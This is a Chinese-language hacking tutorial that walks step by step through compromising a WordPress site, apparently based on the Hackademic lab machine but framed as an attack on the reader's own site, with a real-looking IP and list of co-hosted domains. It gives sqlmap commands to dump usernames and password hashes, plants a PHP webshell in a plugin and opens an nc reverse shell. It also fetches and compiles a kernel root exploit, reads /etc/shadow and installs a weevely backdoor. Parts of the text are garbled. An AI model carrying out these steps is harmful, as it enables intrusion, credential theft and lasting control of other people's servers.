通過本文你將了解黑客常用的入手思路和技術(shù)手法,適合熱愛網(wǎng)絡(luò)信息安全的新手朋友了解學(xué)習(xí)。本文將從最開始的信息收集開始講述黑客是如何一步步的攻破你的網(wǎng)站和服務(wù)器的。閱讀本文你會(huì)學(xué)到以下內(nèi)容:
1.滲透測(cè)試前的簡(jiǎn)單信息收集。
2.sqlmap的使用
3.nmap的使用
4.nc反彈提權(quán)
5.linux系統(tǒng)的權(quán)限提升
6.backtrack 5中滲透測(cè)試工具nikto和w3af的使用等.
假設(shè)黑客要入侵的你的網(wǎng)站域名為:hack-test.com
讓我們用ping命令獲取網(wǎng)站服務(wù)器的IP地址

現(xiàn)在我們獲取了網(wǎng)站服務(wù)器的IP地址為:173.236.138.113
尋找同一服務(wù)器上的其它網(wǎng)站,我們使用sameip.org.

26 sites hosted on IP Address 173.236.138.113
ID
Domain
Site Link
1
hijackthisforum.com
hijackthisforum.com
2
sportforum.net
sportforum.net
3
freeonlinesudoku.net
freeonlinesudoku.net
4
cosplayhell.com
cosplayhell.com
5
videogamenews.org
videogamenews.org
6
gametour.com
gametour.com
7
qualitypetsitting.net
qualitypetsitting.net
8
brendanichols.com
brendanichols.com
9
8ez.com
8ez.com
10
hack-test.com
hack-test.com
11
kisax.com
kisax.com
12
paisans.com
paisans.com
13
mghz.com
mghz.com
14
debateful.com
debateful.com
15
jazzygoodtimes.com
jazzygoodtimes.com
16
fruny.com
fruny.com
17
vbum.com
vbum.com
18
wuckie.com
wuckie.com
19
force5inc.com
force5inc.com
20
virushero.com
virushero.com
21
twincitiesbusinesspeernetwork.com
twincitiesbusinesspeernetwork.com
22
jennieko.com
jennieko.com
23
davereedy.com
davereedy.com
24
joygarrido.com
joygarrido.com
25
prismApp.com
prismapp.com
26
utiligolf.com
utiligolf.com
173.236.138.113上有26個(gè)網(wǎng)站,很多黑客為了攻破你的網(wǎng)站可能會(huì)檢查同服務(wù)器上的其它網(wǎng)站,但是本次是以研究為目標(biāo),我們將拋開服務(wù)器上的其它網(wǎng)站,只針對(duì)你的網(wǎng)站來(lái)進(jìn)行入侵檢測(cè)。
我們需要關(guān)于你網(wǎng)站的以下信息:
1. DNS records (A, NS, TXT, MX and SOA)
2. Web Server Type (Apache, IIS, Tomcat)
3. Registrar (the company that owns your domain)
4. Your name, address, email and phone
5. Scripts that your site uses (php, asp, asp.net, jsp, cfm)
6. Your server OS (Unix,Linux,windows,Solaris)
7. Your server open ports to internet (80, 443, 21, etc.)
讓我們開始找你網(wǎng)站的DNS記錄,我們用who.is來(lái)完成這一目標(biāo).

我們發(fā)現(xiàn)你的DNS記錄如下

讓我們來(lái)確定web服務(wù)器的類型

發(fā)現(xiàn)你的Web服務(wù)器是apache,接下來(lái)確定它的版本.
IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 1 Month:3,213,968 3 Month: 2,161,753
Page Views per Visit: 1 Month: 2.0 3Month: 3.7
接下來(lái)是時(shí)候?qū)ふ夷憔W(wǎng)站域名的注冊(cè)信息,你的電話、郵箱、地址等.

我們現(xiàn)在已經(jīng)獲取了你的網(wǎng)站域名的注冊(cè)信息,包括你的重要信息等.
我們可以通過backtrack5中的whatweb來(lái)獲取你的網(wǎng)站服務(wù)器操作系統(tǒng)類型和服務(wù)器的版本.


我們發(fā)現(xiàn)你的網(wǎng)站使用了著名的php整站程序wordPress/ target=_blank class=infotextkey>WordPress,服務(wù)器的的系統(tǒng)類型為FedoraLinux,Web服務(wù)器版本Apache 2.2.15.繼續(xù)查看網(wǎng)站服務(wù)器開放的端口,用滲透測(cè)試工具nmap:
1-Find services that run on server(查看服務(wù)器上運(yùn)行的服務(wù))

2-Find server OS(查看操作系統(tǒng)版本)

只有80端口是開放的,操作系統(tǒng)是Linux2.6.22(Fedora Core 6),現(xiàn)在我們已經(jīng)收集了所有關(guān)于你網(wǎng)站的重要信息,接下來(lái)開始掃描尋找漏洞,比如:
Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF等等.
我們將使用Nikto來(lái)收集漏洞信息:
root@bt:/pentest/web/nikto# perlnikto.pl -h hack-test.com

我們也會(huì)用到Backtrack 5 R1中的W3AF 工具:
root@bt:/pentest/web/w3af#./w3af_gui

我們輸入要檢測(cè)的網(wǎng)站地址,選擇完整的安全審計(jì)選項(xiàng).

稍等一會(huì),你將會(huì)看到掃描結(jié)果.

發(fā)現(xiàn)你的網(wǎng)站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.讓我們來(lái)探討SQL注入漏洞.
http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220
我們通過工具發(fā)現(xiàn)這個(gè)URL存在SQL注入,我們通過Sqlmap來(lái)檢測(cè)這個(gè)url.
Using sqlmap with –u url

過一會(huì)你會(huì)看到

輸入N按回車鍵繼續(xù)

我們發(fā)現(xiàn)你的網(wǎng)站存在MySQL顯錯(cuò)注入,mysql數(shù)據(jù)庫(kù)版本是5.0. 我們通過加入?yún)?shù)”-dbs”來(lái)嘗試采集數(shù)據(jù)庫(kù)名.


發(fā)現(xiàn)三個(gè)數(shù)據(jù)庫(kù),接下來(lái)通過參數(shù)”-D wordpress -tables”來(lái)查看wordpress數(shù)據(jù)庫(kù)的所有表名


通過參數(shù)“-T wp_users –columns ”來(lái)查看wp_users表中的字段.


接下來(lái)猜解字段user_login和user_pass的值.用參數(shù)”-C user_login,user_pass–dump”

我們會(huì)發(fā)現(xiàn)用戶名和密碼hashes值. 我們需要通過以下在線破解網(wǎng)站來(lái)破解密碼hashes
http://www.onlinehashcrack.com/free-hash-reverse.php

登陸wordpress的后臺(tái)wp-admin
嘗試上傳php webshell到服務(wù)器,以方便運(yùn)行一些linux命令.在插件頁(yè)面尋找任何可以編輯的插件.我們選擇Textile這款插件,編輯插入我們的php webshell,點(diǎn)擊更新文件,然后訪問我們的phpwebshell.


Phpwebshell被解析了,我們可以控制你網(wǎng)站的文件,但是我們只希望獲得網(wǎng)站服務(wù)器的root權(quán)限,來(lái)入侵服務(wù)器上其它的網(wǎng)站。
我們用NC來(lái)反彈一個(gè)shell,首先在我們的電腦上監(jiān)聽5555端口.

然后在Php webshell上反向連接我們的電腦,輸入你的IP和端口5555.

點(diǎn)擊連接我們會(huì)看到

接下來(lái)我們嘗試執(zhí)行一些命令:
id
uid=48(apache) gid=489(apache) groups=489(apache)
(用來(lái)顯示用戶的id和組)
pwd
/var/www/html/Hackademic_RTB1/wp-content/plugins
(顯示服務(wù)器上當(dāng)前的路徑)
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 721:41:45 EST 2009 i686 i686 i386 GNU/Linux
(顯示內(nèi)核版本信息)

現(xiàn)在我們知道,服務(wù)器的內(nèi)核版本是2.6.31.5-127.fc12.1686,我們?cè)趀xploit-db.com中搜索此版本的相關(guān)漏洞.
在服務(wù)器上測(cè)試了很多exp之后,我們用以下的exp來(lái)提升權(quán)限.
http://www.exploit-db.com/exploits/15285
我們?cè)趎c shell上執(zhí)行以下命令:
wgethttp://www.exploit-db.com/exploits/15285 -o roro.c
(下載exp到服務(wù)器并重命名為roro.c)
注:很多l(xiāng)inux內(nèi)核的exp都是C語(yǔ)言開發(fā)的,因此我們保存為.c擴(kuò)展名.
exp roro.c代碼如下:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf(“[*] Could not open socket.”);
exit(-1);
}
memset(&addr, 0, sizeof(addr));
通過以上代碼我們發(fā)現(xiàn)該exp是C語(yǔ)言開發(fā)的,我們需要將他編譯成elf格式的,命令如下:
gcc roro.c –ororo
接下來(lái)執(zhí)行編譯好的exp
./roro

執(zhí)行完成之后我們輸入id命令
id
我們發(fā)現(xiàn)我們已經(jīng)是root權(quán)限了
uid=0(root) gid=0(root)

現(xiàn)在我們可以查看/etc/shadow文件
cat/etc/shadow

我們可以使用”john theripper”工具破解所有用戶的密碼.但是我們不會(huì)這樣做,我們需要在這個(gè)服務(wù)器上留下后門以方便我們?cè)谌魏螘r(shí)候訪問它.
我們用weevely制作一個(gè)php小馬上傳到服務(wù)器上.
1.weevely使用選項(xiàng)
root@bt:/pentest/backdoors/web/weevely#./main.py -

2.用weevely創(chuàng)建一個(gè)密碼為koko的php后門
root@bt:/pentest/backdoors/web/weevely#./main.py -g -o hax.php -p koko

接下來(lái)上傳到服務(wù)器之后來(lái)使用它
root@bt:/pentest/backdoors/web/weevely#./main.py -t -uhttp://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -pkoko

測(cè)試我們的hax.php后門